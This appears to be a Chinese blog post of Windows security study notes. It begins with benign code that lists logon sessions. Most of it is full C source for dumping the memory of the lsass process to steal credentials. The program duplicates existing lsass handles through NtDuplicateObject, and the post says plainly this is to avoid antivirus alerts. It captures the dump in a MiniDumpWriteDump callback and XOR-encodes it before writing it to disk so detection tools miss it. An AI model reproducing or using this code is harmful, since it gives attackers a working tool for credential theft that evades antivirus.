zl程序教程

您现在的位置是:首页 >  系统

当前栏目

Windows安全学习随笔

2023-06-13 09:18:41 时间

0x1 前言

​ 许久不写博客,甚至已经有些忘记格式该是如何的,本篇博文用于记录我在学习Windows安全时的一些知识点。

0x2 实例Demo

0x01 LogonSessionList获取活动会话信息


​ 利用LogonSessionList结构我们可以读取系统内当前活动会话之信息,若用户尚未登陆,则无法通过此结构读取检测到用户的Session,因为系统内这时并没有与该用户关联的活动登录会话。

​ 同时,当用户注销会话后,我们也不可通过此结构获取其信息。

​ 导出LogonSessionList我们可以使用LsaEnumerateLogonSessions函数获取其数组指针,随后通过LsaGetLogonSessionData 函数读取其中的结构。

NTSTATUS LsaEnumerateLogonSessions(
  [out] PULONG LogonSessionCount,
  [out] PLUID  *LogonSessionList
);


NTSTATUS LsaGetLogonSessionData(
  [in]  PLUID                        LogonId,
  [out] PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData
);

其中,我们需要SECURITY_LOGON_SESSION_DATA结构内的信息,其结构如下

typedef struct _SECURITY_LOGON_SESSION_DATA {
  ULONG                     Size;
  LUID                      LogonId;
  LSA_UNICODE_STRING        UserName;
  LSA_UNICODE_STRING        LogonDomain;
  LSA_UNICODE_STRING        AuthenticationPackage;
  ULONG                     LogonType;
  ULONG                     Session;
  PSID                      Sid;
  LARGE_INTEGER             LogonTime;
  LSA_UNICODE_STRING        LogonServer;
  LSA_UNICODE_STRING        DnsDomainName;
  LSA_UNICODE_STRING        Upn;
  ULONG                     UserFlags;
  LSA_LAST_INTER_LOGON_INFO LastLogonInfo;
  LSA_UNICODE_STRING        LogonScript;
  LSA_UNICODE_STRING        ProfilePath;
  LSA_UNICODE_STRING        HomeDirectory;
  LSA_UNICODE_STRING        HomeDirectoryDrive;
  LARGE_INTEGER             LogoffTime;
  LARGE_INTEGER             KickOffTime;
  LARGE_INTEGER             PasswordLastSet;
  LARGE_INTEGER             PasswordCanChange;
  LARGE_INTEGER             PasswordMustChange;
} SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;

​ 我们可以通过for循环的方式将相关信息遍历导出。

#include<windows.h>
#include<stdio.h>
#include<iostream>
#include<NTSecAPI.h>
#include<tchar.h>

#pragma comment(lib,"Secur32.lib")


int main(int argc, char* argv[]) {
	ULONG LogonSessionCount;
	PLUID LogonSessionList;
	PSECURITY_LOGON_SESSION_DATA pLogonSessionData;
	NTSTATUS status;

	//分配内存
	pLogonSessionData = (PSECURITY_LOGON_SESSION_DATA)malloc(sizeof(SECURITY_LOGON_SESSION_DATA));

	status = LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList);
	if (status != ERROR_SUCCESS) {
		printf("LsaEnumrateLogonSessions ErrorCode:%u\r\n", GetLastError());
		return 0;
	}
	//读取现存有效session数
	printf("SessionCount %d\r\n", LogonSessionCount);
	//成功导出sessioncount 枚举每个session username
	for (int i = 0; i < LogonSessionCount; i++) {
		LsaGetLogonSessionData(LogonSessionList + i, &pLogonSessionData);
		_tprintf("%ws\\%ws\r\n", pLogonSessionData->LogonDomain,pLogonSessionData->UserName.Buffer);
	}
	LsaFreeReturnBuffer(pLogonSessionData);

	return 0;
}

效果如下:

0x02 间接获取进程句柄,回调函数加密lsass规避杀软


​ 随着技术的发展,杀软对lsass等进程句柄的获取有了更加严格的监控,下面我们将使用NtDuplicateObject间接获取进程句柄,避免告警。

0x001大体流程:
  1. 获得SeDebugPrivilege调试权限。
  2. 使用NtQuerySystemInformation获取所有进程打开的句柄
  3. 利用OpenProcess获取具有PROCESS_DUP_HANDLE权限的句柄
  4. 使用NtduplicateObject来Copy获取上述句柄的副本
  5. 通过NtQueryObject查询句柄信息,筛选出类型为Process的句柄
  6. 通过QueryFullProcessimageName判断进程是否为lsass的句柄
0x002函数、结构原型:
NtQueryObject
typedef NTSTATUS (NTAPI* NtQueryObject)(
	IN OPTIONAL  HANDLE                   Handle,
	IN           OBJECT_INFORMATION_CLASS ObjectInformationClass,
	OUT OPTIONAL PVOID                    ObjectInformation,
	IN            ULONG                    ObjectInformationLength,
	OUT OPTIONAL PULONG                   ReturnLength
);
NtQuerySystemInformation
typedef NTSTATUS (NTAPI* NtQuerySystemInformation)(
	IN          SYSTEM_INFORMATION_CLASS SystemInformationClass,
	IN OUT      PVOID                    SystemInformation,
	IN          ULONG                    SystemInformationLength,
	OUT OPTIONAL PULONG                   ReturnLength
);
NtDuplicateObject
typedef NTSTATUS(NTAPI* NtDuplicateObject)(
	HANDLE SourceProcessHandle,
	HANDLE SourceHandle,
	HANDLE TargetProcessHandle,
	PHANDLE TargetHandle,
	ACCESS_MASK DesiredAccess,
	ULONG Attributes,
	ULONG Options
	);
typedef struct _SYSTEM_HANDLE {
	ULONG ProcessId;
	BYTE ObjectTypeNumber;
	BYTE Flags;
	USHORT Handle;
	PVOID Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
	ULONG HandleCount;	//Handle counts
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
0x003流程分析:

​ 获取Debug权限的操作,我们暂且略过,从第二步如何使用NtQuerySystemInformation获取系统内句柄信息开始演示.

获取函数地址,其余Nt函数流程大体一致

HMODULE hModule = GetModuleHandle("ntdll.dll");
pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
	if (!NtQuerySystemInformation) {
		printf("NtQuerySystemInformation get address failed %d\r\n",GetLastError());
		return 0;
	}

获取系统内的句柄信息

​ 提前申请SYSTEM_HANDLE_INFORMATION内存空间,使用while循环判断执行结果,若ReturnLength不足,函数会将缓冲区所需的大小返回至ReturnLength当中,继续循环申请内存直至成功。

PVOID SysInfo;
PSYSTEM_HANDLE_INFORMATION HandleInfo;
ULONG ReturnLength = 0;
NTSTATUS status;

while ((status = NtQuerySystemInformation(
	SystemHandleInformation,
	HandleInfo,
	ReturnLength,
	&ReturnLength
)) == STATUS_INFO_LENGTH_MISMATCH)
	HandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(HandleInfo, ReturnLength *= 2);
if (!NT_SUCCESS(status)) {
	printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
	return 0;
}

if (!NT_SUCCESS(status)) {
	printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
	return 0;
}

筛选进程句柄

用到的结构体

typedef struct _SYSTEM_HANDLE {
	ULONG ProcessId;//进程id
	BYTE ObjectTypeNumber;
	BYTE Flags;
	USHORT Handle;	//句柄的USHOT形式,若要使用,可利用(Void*)进行强转
	PVOID Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;


typedef struct __OBJECT_TYPE_INFORMATION {
	UNICODE_STRING TypeName;	//获得该对象的类型名的UNICODE_STRING
	ULONG TotalNumberOfObjects;
	ULONG TotalNumberOfHandles;
	ULONG TotalPagedPoolUsage;
	ULONG TotalNonPagedPoolUsage;
	ULONG TotalNamePoolUsage;
	ULONG TotalHandleTableUsage;
	ULONG HighWaterNumberOfObjects;
	ULONG HighWaterNumberOfHandles;
	ULONG HighWaterPagedPoolUsage;
	ULONG HighWaterNonPagedPoolUsage;
	ULONG HighWaterNamePoolUsage;
	ULONG HighWaterHandleTableUsage;
	ULONG InvalidAttributes;
	GENERIC_MAPPING GenericMapping;
	ULONG ValidAccessMask;
	BOOLEAN SecurityRequired;
	BOOLEAN MaintainHandleCount;
	UCHAR TypeIndex;
	CHAR Reserved;
	ULONG PoolType;
	ULONG DefaultPagedPoolCharge;
	ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

​ 利用for循环,遍历存储于SYSTEM_HANDLE_INFORMATION结构中的句柄信息,使用OpenProcess打开一个具有PROCESS_DUP_HANDLEPROCESS_QUERY_LIMITED_INFORMATION权限的进程句柄,为避免杀软检测,我们并不能直接使用系统中存在的这份句柄,我们需要使用NtDuplicateObject函数copy一份该进程的句柄以供我们使用。

SYSTEM_HANDLE sysHandle;
HANDLE hProcess=NULL, Duplitehandle=NULL,targetHandle=NULL;
NTSTATUS status;
POBJECT_TYPE_INFORMATION objectTypeInfo;

	for (int index=1; index < HandleInfo->HandleCount; index++) {
		//printf("Handle ProcessId:%d\r\n", HandleInfo->Handles[index].ProcessId);
		if (HandleInfo->Handles[index].ProcessId == 4)
			continue;

		sysHandle = HandleInfo->Handles[index];
		hProcess = OpenProcess(PROCESS_DUP_HANDLE|PROCESS_QUERY_LIMITED_INFORMATION, false, sysHandle.ProcessId);
		if (!hProcess) {
			continue;
		}

		//try to copy handle
		status = NtDuplicateObject(hProcess, (void*)sysHandle.Handle,GetCurrentProcess(), &Duplitehandle, PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, NULL, NULL);
		if (!NT_SUCCESS(status)) {
			/*printf("DupliteHandle Failed of the pid:%d\r\n", sysHandle.ProcessId);*/
			continue;
		}
		//Query handle info
        ReturnLength = 0; //Reset ReturnLength
		while ((status = NtQueryObject(
			Duplitehandle,
			ObjectTypeInformation,
			objectTypeInfo,
			ReturnLength,
			&ReturnLength)) == STATUS_INFO_LENGTH_MISMATCH) {
			objectTypeInfo = (POBJECT_TYPE_INFORMATION)realloc(objectTypeInfo, ReturnLength * 2);
		}
		if (!objectTypeInfo) {
			printf("could not get the handle information\r\n");
			continue;
		}
		
		wchar_t path[255];
 
		DWORD buffSize = 255;

	}

​ 此处我们使用wcscmp函数查找ObjectTypeInfo的TypeName.buffer出现Process关键字的句柄,若存在进入下一层判断,利用QueryFullProcessImageName查找进程名等信息,进而使用wcsstr函数查找出现该关键字的进程,并利用targetHandleProcessID变量将复制的句柄、lsass进程的PID保存。

wchar_t path[255];
 
DWORD buffSize = 255;

if (wcscmp(L"Process", objectTypeInfo->TypeName.Buffer) == 0) {
	//查找进程名等信息
	if (!QueryFullProcessImageName(Duplitehandle, 0, path, &buffSize)) {
		printf("QueryFullProcessImagenameW Failed,ErrorCode:%d\r\n", GetLastError());
	}
	else
	{
		if (wcsstr(path,L"lsass") != NULL) {
			printf("[+] Found the Process Handle ,%d\r\n", sysHandle.ProcessId);
			targetHandle = Duplitehandle;
			ProcessID = sysHandle.ProcessId;
		}
	}
}

MiniDumpCallBack

​ 触发回调之后,通过RtlCopyMemoryLsass进程内的内容存到堆指针dumpBuffer所指向的堆空间当中;触发回调函数时,利用全局变量bytesRead获得我们已转储的lsass进程内存内容的大小,利用callbackInput->Io.Offset以及callbackInput->Io.BufferBytes获取每次我们读取内存内容的开始位置以及大小。


//Apply for the Buffer for saving Lsass dump file
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 70); //Alloction 70m
DWORD bytesRead = 0;


BOOL CALLBACK minidumpCallback(__in PVOID callbackParam,__in const PMINIDUMP_CALLBACK_INPUT callbackInput,__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput)
{
	LPVOID Destination=0, Source=0;
	DWORD bufferSize = 0;

	switch (callbackInput->CallbackType)
	{
	//Triggering Write CallbackFunc
	case IoStartCallback:
		callbackOutput->Status = S_FALSE;
		break;
	case IoWriteAllCallback:
		callbackOutput->Status = S_OK;

		//抓取触发回调后 读取lsass 要被dump的内存内容
		Source = callbackInput->Io.Buffer;
		//计算存储这部分内容的位置  堆的基地址+lsass转储内存内容的开始偏移
		Destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

		//上面被读取的小块内容的大小
		bufferSize = callbackInput->Io.BufferBytes;
		bytesRead += bufferSize;
		//向堆中写入lsass的小块内容
		RtlCopyMemory(Destination, Source, bufferSize);
		//printf("[+]Minidump offset %x,content length:%x\r\n", callbackInput->Io.Offset, callbackInput->Io.BufferBytes);
		printf("[+] Io.Offset %x\r\n", callbackInput->Io.Offset);
		break;
	case IoFinishCallback:
		callbackOutput->Status = S_OK;
		break;



	default:
		return true;
	}
	return true;
}
0x004完整源码:
#include<Windows.h>
#include<stdio.h>
#include<tchar.h>
#include<iostream>
#include<ProcessSnapshot.h>
#include<DbgHelp.h>





#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define NT_SUCCESS(x) ((x) >= 0)
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
#pragma comment (lib,"Dbghelp.lib")

typedef enum _SYSTEM_INFORMATION_CLASS {
	SystemBasicInformation = 0,
	SystemProcessorInformation = 1,
	SystemPerformanceInformation = 2,
	SystemTimeOfDayInformation = 3,
	SystemPathInformation = 4,
	SystemProcessInformation = 5,
	SystemCallCountInformation = 6,
	SystemDeviceInformation = 7,
	SystemProcessorPerformanceInformation = 8,
	SystemFlagsInformation = 9,
	SystemCallTimeInformation = 10,
	SystemModuleInformation = 11,
	SystemLocksInformation = 12,
	SystemStackTraceInformation = 13,
	SystemPagedPoolInformation = 14,
	SystemNonPagedPoolInformation = 15,
	SystemHandleInformation = 16,
	SystemObjectInformation = 17,
	SystemPageFileInformation = 18,
	SystemVdmInstemulInformation = 19,
	SystemVdmBopInformation = 20,
	SystemFileCacheInformation = 21,
	SystemPoolTagInformation = 22,
	SystemInterruptInformation = 23,
	SystemDpcBehaviorInformation = 24,
	SystemFullMemoryInformation = 25,
	SystemLoadGdiDriverInformation = 26,
	SystemUnloadGdiDriverInformation = 27,
	SystemTimeAdjustmentInformation = 28,
	SystemSummaryMemoryInformation = 29,
	SystemNextEventIdInformation = 30,
	SystemEventIdsInformation = 31,
	SystemCrashDumpInformation = 32,
	SystemExceptionInformation = 33,
	SystemCrashDumpStateInformation = 34,
	SystemKernelDebuggerInformation = 35,
	SystemContextSwitchInformation = 36,
	SystemRegistryQuotaInformation = 37,
	SystemExtendServiceTableInformation = 38,
	SystemPrioritySeperation = 39,
	SystemVerifierAddDriverInformation = 40,
	SystemVerifierRemoveDriverInformation = 41,
	SystemProcessorIdleInformation = 42,
	SystemLegacyDriverInformation = 43,
	SystemCurrentTimeZoneInformation = 44,
	SystemLookasideInformation = 45,
	SystemTimeSlipNotification = 46,
	SystemSessionCreate = 47,
	SystemSessionDetach = 48,
	SystemSessionInformation = 49,
	SystemRangeStartInformation = 50,
	SystemVerifierInformation = 51,
	SystemVerifierThunkExtend = 52,
	SystemSessionProcessInformation = 53,
	SystemLoadGdiDriverInSystemSpace = 54,
	SystemNumaProcessorMap = 55,
	SystemPrefetcherInformation = 56,
	SystemExtendedProcessInformation = 57,
	SystemRecommendedSharedDataAlignment = 58,
	SystemComPlusPackage = 59,
	SystemNumaAvailableMemory = 60,
	SystemProcessorPowerInformation = 61,
	SystemEmulationBasicInformation = 62,
	SystemEmulationProcessorInformation = 63,
	SystemExtendedHandleInformation = 64,
	SystemLostDelayedWriteInformation = 65,
	SystemBigPoolInformation = 66,
	SystemSessionPoolTagInformation = 67,
	SystemSessionMappedViewInformation = 68,
	SystemHotpatchInformation = 69,
	SystemObjectSecurityMode = 70,
	SystemWatchdogTimerHandler = 71,
	SystemWatchdogTimerInformation = 72,
	SystemLogicalProcessorInformation = 73,
	SystemWow64SharedInformationObsolete = 74,
	SystemRegisterFirmwareTableInformationHandler = 75,
	SystemFirmwareTableInformation = 76
} SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS;

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef LONG KPRIORITY;
typedef struct _SYSTEM_PROCESS_INFORMATION {
	ULONG NextEntryOffset;
	ULONG NumberOfThreads;
	BYTE Reserved1[48];
	UNICODE_STRING ImageName;
	KPRIORITY BasePriority;
	HANDLE UniqueProcessId;
	PVOID Reserved2;
	ULONG HandleCount;
	ULONG SessionId;
	PVOID Reserved3;
	SIZE_T PeakVirtualSize;
	SIZE_T VirtualSize;
	ULONG Reserved4;
	SIZE_T PeakWorkingSetSize;
	SIZE_T WorkingSetSize;
	PVOID Reserved5;
	SIZE_T QuotaPagedPoolUsage;
	PVOID Reserved6;
	SIZE_T QuotaNonPagedPoolUsage;
	SIZE_T PagefileUsage;
	SIZE_T PeakPagefileUsage;
	SIZE_T PrivatePageCount;
	LARGE_INTEGER Reserved7[6];
} SYSTEM_PROCESS_INFORMATION;

typedef struct _SYSTEM_HANDLE {
	ULONG ProcessId;
	BYTE ObjectTypeNumber;
	BYTE Flags;
	USHORT Handle;
	PVOID Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
	ULONG HandleCount;
	SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef enum _OBJECT_INFORMATION_CLASS {
	ObjectBasicInformation, 
	ObjectNameInformation, 
	ObjectTypeInformation, 
	ObjectAllTypesInformation,
	ObjectHandleInformation, 

	ObjectTypesInformation, 
	ObjectDataInformation
}OBJECT_INFORMATION_CLASS, * POBJECT_INFORMATION_CLASS;

typedef NTSTATUS (NTAPI* pNtQueryObject)(
	IN OPTIONAL  HANDLE                   Handle,
	IN           OBJECT_INFORMATION_CLASS ObjectInformationClass,
	OUT OPTIONAL PVOID                    ObjectInformation,
	IN            ULONG                    ObjectInformationLength,
	OUT OPTIONAL PULONG                   ReturnLength
);



typedef NTSTATUS (NTAPI* pNtQuerySystemInformation)(
	IN          SYSTEM_INFORMATION_CLASS SystemInformationClass,
	IN OUT      PVOID                    SystemInformation,
	IN          ULONG                    SystemInformationLength,
	OUT OPTIONAL PULONG                   ReturnLength
);



typedef struct __OBJECT_TYPE_INFORMATION {
	UNICODE_STRING TypeName;
	ULONG TotalNumberOfObjects;
	ULONG TotalNumberOfHandles;
	ULONG TotalPagedPoolUsage;
	ULONG TotalNonPagedPoolUsage;
	ULONG TotalNamePoolUsage;
	ULONG TotalHandleTableUsage;
	ULONG HighWaterNumberOfObjects;
	ULONG HighWaterNumberOfHandles;
	ULONG HighWaterPagedPoolUsage;
	ULONG HighWaterNonPagedPoolUsage;
	ULONG HighWaterNamePoolUsage;
	ULONG HighWaterHandleTableUsage;
	ULONG InvalidAttributes;
	GENERIC_MAPPING GenericMapping;
	ULONG ValidAccessMask;
	BOOLEAN SecurityRequired;
	BOOLEAN MaintainHandleCount;
	UCHAR TypeIndex;
	CHAR Reserved;
	ULONG PoolType;
	ULONG DefaultPagedPoolCharge;
	ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

typedef NTSTATUS(NTAPI* pNtDuplicateObject)(
	HANDLE SourceProcessHandle,
	HANDLE SourceHandle,
	HANDLE TargetProcessHandle,
	PHANDLE TargetHandle,
	ACCESS_MASK DesiredAccess,
	ULONG Attributes,
	ULONG Options
	);


typedef NTSTATUS (NTAPI* pRtlAdjustPrivilege)(
	ULONG    Privilege,
	BOOLEAN  Enable,
	BOOLEAN  CurrentThread,
	PBOOLEAN Enabled
);


//Apply for the Buffer for saving Lsass dump file
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 70); //Alloction 70m
DWORD bytesRead = 0;


DWORD FindProcHandle();
 

BOOL EnableSeDebugPrivilege(BOOL fEnable, HANDLE& hToken);
int main() {
	BOOLEAN enabled;
	if (RtlAdjustPrivilege == NULL) {
		printf("Not Found pRtlAdjustPrivilege Func,ErrorCode:%u\r\n", GetLastError());
		return 0;
	}


	HANDLE hToken = NULL, PrimaryToken = NULL;



	if (EnableSeDebugPrivilege(true, hToken))
		printf("SeDebugPrivilege success\r\n");
	else
		printf("SedebugPrivilege failed\r\n");


	DWORD pid = FindProcHandle();

	return 0;
}

BOOL CALLBACK minidumpCallback(__in PVOID callbackParam,__in const PMINIDUMP_CALLBACK_INPUT callbackInput,__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput)
{
	LPVOID Destination=0, Source=0;
	DWORD bufferSize = 0;

	switch (callbackInput->CallbackType)
	{
	//Triggering Write CallbackFunc
	case IoStartCallback:
		callbackOutput->Status = S_FALSE;
		break;
	case IoWriteAllCallback:
		callbackOutput->Status = S_OK;

		//抓取触发回调后 读取lsass 要被dump的内存内容
		Source = callbackInput->Io.Buffer;
		//计算存储这部分内容的位置  堆的基地址+lsass转储内存内容的开始偏移
		Destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

		//上面被读取的小块内容的大小
		bufferSize = callbackInput->Io.BufferBytes;
		bytesRead += bufferSize;
		//向堆中写入lsass的小块内容
		RtlCopyMemory(Destination, Source, bufferSize);
		//printf("[+]Minidump offset %x,content length:%x\r\n", callbackInput->Io.Offset, callbackInput->Io.BufferBytes);
		printf("[+] Io.Offset %x\r\n", callbackInput->Io.Offset);
		break;
	case IoFinishCallback:
		callbackOutput->Status = S_OK;
		break;



	default:
		return true;
	}
	return true;
}


BOOL EnableSeDebugPrivilege(BOOL fEnable, HANDLE& hToken)
{

	BOOL fok = FALSE;


	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{

		TOKEN_PRIVILEGES tp;//结构体,表示令牌权限

		//只启动调试权限,所以权限的个数是一个
		tp.PrivilegeCount = 1;

		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

		//下面一句话,在tp.Privilege[0].Attributes属性中,设置是开启这个权限还是关闭这个权限
		tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;

		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);


		fok = (GetLastError() == ERROR_SUCCESS);
	}
	return fok;
}



DWORD FindProcHandle()
{
	HANDLE hProcess=NULL, Duplitehandle=NULL,targetHandle=NULL;
	HMODULE hModule = GetModuleHandle(L"ntdll.dll");


	PVOID SysInfo;
	PSYSTEM_HANDLE_INFORMATION HandleInfo=nullptr;
	SYSTEM_HANDLE sysHandle;
	POBJECT_TYPE_INFORMATION objectTypeInfo=nullptr;
	ULONG ReturnLength=0;
	DWORD index = 1,ProcessID=0;
	NTSTATUS status;

	pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
	if (!NtQuerySystemInformation) {
		printf("NtQuerySystemInformation get address failed %d\r\n",GetLastError());
		return 0;
	}
	pNtDuplicateObject NtDuplicateObject = (pNtDuplicateObject)GetProcAddress(hModule, "NtDuplicateObject");
	if (!NtDuplicateObject) {
		printf("NtDumplicateObject get address failed %d\r\n",GetLastError());
		return 0;
	}
	pNtQueryObject NtQueryObject = (pNtQueryObject)GetProcAddress(hModule, "NtQueryObject");
	if (!NtQueryObject) {
		printf("NtQueryObject get address failed %d\r\n",GetLastError());
		return 0;
	}
	
	//get processinformation
	//HandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(0x10000);
	while ((status = NtQuerySystemInformation(
		SystemHandleInformation,
		HandleInfo,
		ReturnLength,
		&ReturnLength
	)) == STATUS_INFO_LENGTH_MISMATCH)
		HandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(HandleInfo, ReturnLength *= 2);
	if (!NT_SUCCESS(status)) {
		printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
		return 0;
	}
	for (; index < HandleInfo->HandleCount; index++) {
		//printf("Handle ProcessId:%d\r\n", HandleInfo->Handles[index].ProcessId);
		if (HandleInfo->Handles[index].ProcessId == 4)
			continue;

		sysHandle = HandleInfo->Handles[index];
		hProcess = OpenProcess(PROCESS_DUP_HANDLE|PROCESS_QUERY_LIMITED_INFORMATION, false, sysHandle.ProcessId);
		if (!hProcess) {
			continue;
		}

		//try to copy handle
		status = NtDuplicateObject(hProcess, (void*)sysHandle.Handle,GetCurrentProcess(), &Duplitehandle, PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, NULL, NULL);
		if (!NT_SUCCESS(status)) {
			continue;
		}

		ReturnLength = 0;
		while ((status = NtQueryObject(
			Duplitehandle,
			ObjectTypeInformation,
			objectTypeInfo,
			ReturnLength,
			&ReturnLength)) == STATUS_INFO_LENGTH_MISMATCH) {
			objectTypeInfo = (POBJECT_TYPE_INFORMATION)realloc(objectTypeInfo, ReturnLength * 2);
		}
		if (!objectTypeInfo) {
			printf("could nt get the handle information %d\r\n",GetLastError());
			continue;
		}
		
		wchar_t path[255];
 
		DWORD buffSize = 255;

		if (wcscmp(L"Process", objectTypeInfo->TypeName.Buffer) == 0) {
			//查找进程名等信息
			if (!QueryFullProcessImageName(Duplitehandle, 0, path, &buffSize)) {
				printf("QueryFullProcessImagenameW Failed,ErrorCode:%d\r\n", GetLastError());
			}
			else
			{
				if (wcsstr(path,L"lsass") != NULL) {
					printf("[+] Found the Process Handle ,%d\r\n", sysHandle.ProcessId);
					targetHandle = Duplitehandle;
					ProcessID = sysHandle.ProcessId;
				}
			}
		}

	}




	//try to get the  process dump file 
	HANDLE hFile = CreateFile(L"C:\\users\\86156\\desktop\\mini.dmp", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (!hFile) {
		printf("CreateFile ErrorCode:%u\r\n", GetLastError());
		return false;
;	}

	//Set up minidump callback
	MINIDUMP_CALLBACK_INFORMATION callbackInfo;
	ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
	callbackInfo.CallbackRoutine = &minidumpCallback;
	callbackInfo.CallbackParam = NULL;

	boolean isDumped =  MiniDumpWriteDump(targetHandle, ProcessID, NULL, MiniDumpWithFullMemory, NULL, NULL,&callbackInfo );
	if (isDumped) {
		printf("Dump Process Memory Context to heap success\r\n");
		/*WriteFile(hFile, dumpBuffer, bytesRead, &bytesRead, NULL); */
		//printf("Size = %x\r\n", *((char*)dumpBuffer+3)^'a'^'a');
		DWORD strLeng = 1;
		for (int i = 0; i < bytesRead; i++) {
			char str = *((char*)dumpBuffer + i) ^ 'a' ;
			LPVOID lpStr = &str;
			WriteFile(hFile, lpStr, strLeng, &strLeng, NULL);
		}

	}
	else {
		printf("%d\r\n",GetLastError());
	}
	CloseHandle(hFile);
	free(dumpBuffer);
	CloseHandle(hProcess);
	CloseHandle(Duplitehandle);
	CloseHandle(targetHandle);

	return 0;
}

0x3参考文章

https://tttang.com/archive/1810/#toc_ntduplicateobject
https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649751822&idx=3&sn=d8a0d685152418e7b8a6abf532365aa2&chksm=88933161bfe4b87759a0483aeb25c6bc82d098b7d98209b6cd482b3c5bd845aec349df30ae57#rd
https://loong716.top/posts/lsass/